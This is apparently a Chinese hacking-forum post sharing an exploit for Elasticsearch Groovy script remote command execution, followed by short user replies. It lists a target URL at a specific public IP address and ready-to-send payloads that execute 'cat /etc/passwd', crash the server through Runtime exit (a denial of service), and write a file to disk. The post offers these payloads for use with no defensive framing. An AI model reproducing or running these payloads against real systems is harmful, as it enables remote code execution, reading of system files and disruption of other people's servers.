Elasticsearch Groovy任意命令执行漏洞EXP

admin

测试url:http://190.196.67.252:9200/_search?pretty
POST:

1. {"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd").getInputStream())).readLines()","lang": "groovy"}}}

复制代码

拒绝服务:

1. Runtime.getRumtime().exit(-1)

复制代码

文件写入：

1. java.lang.Math.class.forName("java.io.FileOutputStream").getConstructor(java.io.File.class).newInstance(java.lang.Math.class.forName("java.io.File").getConstructor(java.lang.String.class).newInstance("c:/1.txt")).write(java.lang.Math.class.forName("java.lang.String").getConstructor(java.lang.String.class).newInstance("fuck").getBytes())

复制代码

游客，如果您要查看本帖隐藏内容请回复

欧了，试一下

回复看下 嘿嘿